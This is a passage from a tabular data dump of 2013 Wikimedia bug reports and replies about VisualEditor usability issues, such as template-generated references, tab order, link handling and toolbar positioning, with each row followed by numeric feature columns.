**Severity**: normal",Needs Triage,90.0,1374825720,1374880234.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-olrhjl5ydsytkfv6yzoo,task_description,resolved,True,c1,3,False,False,True,3,,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,1.0,4.0,1.0,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,3.6666666666666665,9.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.333333333333333,1.6666666666666667,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.3333333333333333,11.666666666666666,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,4.0,2.6666666666666665,7.0,0.6666666666666666,1.3333333333333333,7.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,2.0,9.0,2.3333333333333335,0.0,1.0,0.0,2.0,0.0,1.3333333333333333,1.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,2.0,3.5082125603864736,0.7020013802622499,"I saw bugs that are similar to this one, for example Bug 51289, but nothing exactly like this one.

References that are added by templates are not recognized by the references tool. I am not talking about templates like the English Wikipedia's {{cite web}}, which go inside the <ref> tag, but about template that add the <ref> tag itself (with {{#tag:ref}}).

This can be in infoboxes (Bug 51289) or in any other template. The Hebrew Wikipedia, for example, uses such a template, {{הערה}} very extensively, because mixing right-to-left text with left-to-right XML tags like <ref> is very hard to edit. This means that most of the references there are not usable for reusing in the ""Use an existing reference"".

(This also means a bunch of other things, but I'll report them separately.)

--------------------------
**Version**: unspecified
**Severity**: normal"
238669,VisualEditor: References that are added by templates are not recognized by the references tool,"The problems with references created by templates are numerous, and possibly impossible to fix ({{#tag:ref}} was never meant to work and this is an example of it not working). :-(

In general they are part of bug 50474, but I'll expand that to be clearer.

*** This bug has been marked as a duplicate of bug 50474 ***",,,1374880234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-olrhjl5ydsytkfv6yzoo,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,3.0,1.0,5.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,5.0,0.0,4.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.358974358974359,0.7564102564102564,"The problems with references created by templates are numerous, and possibly impossible to fix ({{#tag:ref}} was never meant to work and this is an example of it not working). :-(

In general they are part of bug 50474, but I'll expand that to be clearer.

*** This bug has been marked as a duplicate of bug 50474 ***"
54080,"Wrong tab-order on the ""Edit summary"" window","A5b writes:

Edit page, then click save to get ""Edit summary"" Window. Don't touch mouse, put some description, using the keyboard.  Then we want to change checkboxes ""minor edit"" or ""watch page"", without using the mouse. Press <nowiki><Tab></nowiki> key, and you will be directed to the link ""minor edit"" not to the checkbox. second Tab - is ""Save Page"" button. Next - ""review changes"". Next three tabs - for links in the footer of this windows. 

Is it possible to change tab order to this (e.g. using tabindex argument or via rearranging divs and other elements): 
*1. ""description""
*2. ""minor edit checkbox""
*3. ""watch page checkbox""
*4. ""Save page""
*5. ""review changes""
*6. anything else
Or even move ""save page"" and ""review"" to be just after ""description"".

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback#Wrong tab-order on the ""Edit summary"" window

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374817380,1374818679.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_description,resolved,True,c1,3,False,False,True,3,,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,5.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.0,1.3333333333333333,7.0,0.0,2.3333333333333335,3.0,0.0,0.0,0.0,0.0,5.0,0.0,4.333333333333333,0.0,1.0,5.0,3.0,0.0,11.333333333333334,0.0,1.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,1.0,3.326198830409357,0.6326315789473683,"A5b writes:

Edit page, then click save to get ""Edit summary"" Window. Don't touch mouse, put some description, using the keyboard.  Then we want to change checkboxes ""minor edit"" or ""watch page"", without using the mouse. Press <nowiki><Tab></nowiki> key, and you will be directed to the link ""minor edit"" not to the checkbox. second Tab - is ""Save Page"" button. Next - ""review changes"". Next three tabs - for links in the footer of this windows. 

Is it possible to change tab order to this (e.g. using tabindex argument or via rearranging divs and other elements): 
*1. ""description""
*2. ""minor edit checkbox""
*3. ""watch page checkbox""
*4. ""Save page""
*5. ""review changes""
*6. anything else
Or even move ""save page"" and ""review"" to be just after ""description"".

URL tab-order on the ""Edit summary"" window

--------------------------
**Version**: unspecified
**Severity**: normal"
238544,"Wrong tab-order on the ""Edit summary"" window","

*** This bug has been marked as a duplicate of bug 51918 ***",,,1374880815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51918 ***"
238536,"Wrong tab-order on the ""Edit summary"" window","

*** This bug has been marked as a duplicate of bug 50047 ***",,,1374818679,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50047 ***"
54044,VisualEditor: only a part of word is linked and <nowiki/> is added,"When I select text that ends in the middle of the word and add a link, only the selected part is linked. Also, <nowiki/> is added after the link.

For example, in https://en.wikipedia.org/w/index.php?title=Ramat_Yohanan&diff=565789129&oldid=553919950 I selected ""South Africa"" and added the link. I saw an AbuseFilter warning when I was saving, but saved anyway to report the bug :)

Being a seasoned Wikipedian, I expect the whole word to be linked, although now that I think of it, I can imagine that linking a part of the word can be useful, too. So I'm not completely sure whether it's a bug or a feature.

This may be related to Bug 50127, though the description is not the same.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374778680,1374797030.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-yvfkvibbvk27rfmuao7p,task_description,declined,True,c1,3,False,False,True,3,,0.0,0.0,0.5,2.5,1.5,4.0,2.0,0.0,1.5,0.0,1.0,0.5,0.0,0.5,0.0,4.5,0.0,6.5,8.5,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.5,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.5,0.0,10.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,9.0,4.5,12.0,4.0,2.0,9.5,0.0,0.5,0.0,0.0,3.5,0.0,1.0,0.0,5.5,8.5,2.0,0.0,1.0,0.0,5.5,0.0,1.5,3.5,0.0,1.0,0.0,0.0,1.0,3.515506329113924,0.647626582278481,"When I select text that ends in the middle of the word and add a link, only the selected part is linked. Also, <nowiki/> is added after the link.

For example, in URL I selected ""South Africa"" and added the link. I saw an AbuseFilter warning when I was saving, but saved anyway to report the bug :)

Being a seasoned Wikipedian, I expect the whole word to be linked, although now that I think of it, I can imagine that linking a part of the word can be useful, too. So I'm not completely sure whether it's a bug or a feature.

This may be related to Bug 50127, though the description is not the same.

--------------------------
**Version**: unspecified
**Severity**: normal"
235865,VisualEditor: only a part of word is linked and <nowiki/> is added,"This is not a 'bug', but intentional behaviour.

If you actually want to produce [[Foo]]ian as opposed to [[Foo|Fooian]], VisualEditor/Parsoid doesn't have a way to guarantee that (right now Parsoid creates piped links even when it could do link trails/heads, but this could change in the future), because it's irrelevant to the reader and to editors.

Consequently I'm marking this as ""WONTFIX"", but see bug 37939 for a wider discussion of the usability issue.",,,1374797030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yvfkvibbvk27rfmuao7p,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,1.0,3.0,0.5,1.0,0.0,0.5,3.5,2.5,0.0,0.0,0.0,1.0,0.0,4.5,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,1.0,1.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,5.0,0.5,6.5,2.5,3.5,7.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,3.0,10.0,1.5,0.0,3.0,0.0,3.0,0.0,0.5,2.0,0.0,1.0,1.0,0.0,3.0,3.786387631975867,0.8058069381598794,"This is not a 'bug', but intentional behaviour.

If you actually want to produce [[Foo]]ian as opposed to [[Foo|Fooian]], VisualEditor/Parsoid doesn't have a way to guarantee that (right now Parsoid creates piped links even when it could do link trails/heads, but this could change in the future), because it's irrelevant to the reader and to editors.

Consequently I'm marking this as ""WONTFIX"", but see bug 37939 for a wider discussion of the usability issue."
54036,VisualEditor: blanking a page doesn't remove comments,"See https://en.wikipedia.org/w/index.php?title=User:Octalpuss/sandbox&oldid=565273394, which, blanked, turns into https://en.wikipedia.org/w/index.php?title=User:Octalpuss/sandbox&oldid=565667534

I appreciate with the lack of comment-editing (or comment viewing) preserving these is usually A Good Thing, but we do need a better way of handling them.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=60830",Needs Triage,90.0,1374770400,1393271493.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,17.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,1.0,4.0,1.0,0.0,0.0,3.535211267605634,0.6619718309859155,"See URL which, blanked, turns into URL

I appreciate with the lack of comment-editing (or comment viewing) preserving these is usually A Good Thing, but we do need a better way of handling them.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
235456,VisualEditor: blanking a page doesn't remove comments,"

*** This bug has been marked as a duplicate of bug 49603 ***",,,1393271493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49603 ***"
235450,VisualEditor: blanking a page doesn't remove comments,"Providing new link since that user's sandbox is gone:
https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=63959567&oldid=63959556 .",,,1391511752,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5714285714285716,1.0,"Providing new link since that user's sandbox is gone:
URL ."
54032,VisualEditor: No easy way to add content before a template at the start of a line,"PamD at the English Wikipedia reports that there is no easy way to add new content between a reflist and a template that follows it before you save the page.

This is a problem if your workflow is to add the stub template before adding the external links, which is entirely reasonable.

Steps to reproduce (option 1): 
1. create page with references and a reflist.
2. add a template (e.g. a stub template) after the reflist
3. add content between the references list and the template (e.g. an external links section).

Steps to reproduce (option 2):
1. Go to a page with no content between a reflist block and a template (e.g. https://en.wikipedia.org/w/index.php?title=Tyson_R._Roberts&oldid=565739822&veaction=edit )
2. Delete all content after the reflist:
3. Add a template (e.g. a stub template)
4. Add content between the references list and the template (e.g. an external links section).

There is a workaround: select the reflist, press the right cursor key once, press enter. This gets you a blank line with which to work from.

Desired behaviour: 
There should be somewhere to click between the reflist and the stub template, just as there is after the page has been saved and reopened in VE.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52620",Needs Triage,90.0,1374765240,1395357259.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-tghru467viza4owq4m3v,task_description,resolved,True,c1,3,False,False,False,3,,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,3.6666666666666665,9.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.3333333333333333,2.6666666666666665,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,18.666666666666668,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,10.333333333333334,2.6666666666666665,7.333333333333333,0.6666666666666666,2.3333333333333335,12.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.0,1.3333333333333333,9.0,1.6666666666666667,0.0,0.0,0.0,1.3333333333333333,0.0,1.0,5.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,3.7017439082656476,0.5747730530339226,"PamD at the English Wikipedia reports that there is no easy way to add new content between a reflist and a template that follows it before you save the page.

This is a problem if your workflow is to add the stub template before adding the external links, which is entirely reasonable.

Steps to reproduce (option 1): 
1. create page with references and a reflist.
2. add a template (e.g. a stub template) after the reflist
3. add content between the references list and the template (e.g. an external links section).

Steps to reproduce (option 2):
1. Go to a page with no content between a reflist block and a template (e.g. URL )
2. Delete all content after the reflist:
3. Add a template (e.g. a stub template)
4. Add content between the references list and the template (e.g. an external links section).

There is a workaround: select the reflist, press the right cursor key once, press enter. This gets you a blank line with which to work from.

Desired behaviour: 
There should be somewhere to click between the reflist and the stub template, just as there is after the page has been saved and reopened in VE.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
235138,VisualEditor: No easy way to add content before a template at the start of a line,"This is caused by bug 49784; if we knew that the template you'd just added was a block, we would insert a slug above the template (which exists precisely for this reason). Merging.

*** This bug has been marked as a duplicate of bug 49784 ***",,,1395357259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tghru467viza4owq4m3v,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.413793103448276,0.7413793103448276,"This is caused by bug 49784; if we knew that the template you'd just added was a block, we would insert a slug above the template (which exists precisely for this reason). Merging.

*** This bug has been marked as a duplicate of bug 49784 ***"
235130,VisualEditor: No easy way to add content before a template at the start of a line,"Whatamidoing comments that the issue is that there is no way easy to select a line starting with a template:

So someone added a book to a ==Further reading== section.  Book #1 used a citation template.  Book #2 did not.  Neither had bullet list formatting.

Selecting them was hard.  I ended up selecting the header, the template, and the plain-text citation.  Then I clicked the 'list' button.  Then I went back and repaired the formatting for the section heading.  This isn't necessary, but it was easier than trying to figure out the exact stop to place the cursor. 

[...]

[The] problem is that it's hard to select just the line that contains the template.  You have to find the magic spot in the middle of ""==Heading==<nowiki>{{template}}</nowiki>"" to select the template without picking up the entire section heading.  I managed it later in testing, but only if I'm selecting text with arrow keys.  With the trackpad, it's still beyond me.",,,1378037641,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tghru467viza4owq4m3v,task_subcomment,,True,c1,3,False,,,8,,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,3.6666666666666665,1.6666666666666667,0.0,0.0,0.3333333333333333,1.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,1.0,4.0,9.666666666666666,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,3.6666666666666665,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,12.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,8.0,2.0,7.0,1.3333333333333333,1.3333333333333333,9.0,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.6666666666666666,0.0,4.666666666666667,9.666666666666666,1.0,0.0,1.6666666666666667,0.0,4.666666666666667,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,3.6666666666666665,0.3333333333333333,0.0,1.6666666666666667,3.7183098591549295,0.6995305164319249,"Whatamidoing comments that the issue is that there is no way easy to select a line starting with a template:

So someone added a book to a ==Further reading== section.  Book #1 used a citation template.  Book #2 did not.  Neither had bullet list formatting.

Selecting them was hard.  I ended up selecting the header, the template, and the plain-text citation.  Then I clicked the 'list' button.  Then I went back and repaired the formatting for the section heading.  This isn't necessary, but it was easier than trying to figure out the exact stop to place the cursor. 

[...]

[The] problem is that it's hard to select just the line that contains the template.  You have to find the magic spot in the middle of ""==Heading==<nowiki>{{template}}</nowiki>"" to select the template without picking up the entire section heading.  I managed it later in testing, but only if I'm selecting text with arrow keys.  With the trackpad, it's still beyond me."
54028,TemplateData should allow specifying default values for parameters,"TemplateData should allow some parameters to have default values which are prefilled when using the VisualEditor transclusion manager. 

An example would be the current date for accessdate in citation templates.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374763800,1375183466.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fcytooow3nd5c6cwcwl6,task_description,resolved,True,c1,3,False,False,True,3,,2.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.980392156862745,0.7647058823529411,"TemplateData should allow some parameters to have default values which are prefilled when using the VisualEditor transclusion manager. 

An example would be the current date for accessdate in citation templates.

--------------------------
**Version**: unspecified
**Severity**: normal"
234901,TemplateData should allow specifying default values for parameters,"

*** This bug has been marked as a duplicate of bug 51428 ***",,,1375183466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fcytooow3nd5c6cwcwl6,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51428 ***"
53998,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**Author:** `lovefilms`

**Description:**
The screen shot of the missing Production section trying to edit

When click on Edit to edit a section of an article, for example, 
https://en.wikipedia.org/wiki/Blue_Jasmine#Production
the result page https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit#Production appears to be a huge toolbar on top, and the section of ""Production"" is almost invisible - see attached screen shot. 

Also, the toolbar should be clearly marked with visible borders to distinguished from the contents of an article. Now it's almost blurred into the article and very confusing.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC

**Attached**: {F11047}",Needs Triage,90.0,1374709260,1377190936.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mcleu5c4oborex7k7xit,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.5,0.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,1.5,11.5,0.5,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.5,8.0,4.5,0.0,1.0,0.0,0.5,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,3.56,0.6,"**Author:** CODE

**Description:**
The screen shot of the missing Production section trying to edit

When click on Edit to edit a section of an article, for example, 
URL
the result page URL appears to be a huge toolbar on top, and the section of ""Production"" is almost invisible - see attached screen shot. 

Also, the toolbar should be clearly marked with visible borders to distinguished from the contents of an article. Now it's almost blurred into the article and very confusing.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC

**Attached**: {F11047}"
232237,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**lovefilms** wrote:

I am in FF23.0.1 and the VisualEditor is working as intended now. I go ahead to mark it as Resolved - since people can always use the new version of FF.",,,1377190936,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,15.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4878048780487805,0.8292682926829268,"**lovefilms** wrote:

I am in FF23.0.1 and the VisualEditor is working as intended now. I go ahead to mark it as Resolved - since people can always use the new version of FF."
232234,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","Firefox 23.0 for Ubuntu:

Everything works fine when clicking the ""Edit (beta)"" link at https://en.wikipedia.org/wiki/Blue_Jasmine#Production - fullscreen window as well as small window.


Chromium 28.0.1500.71 for Ubuntu 

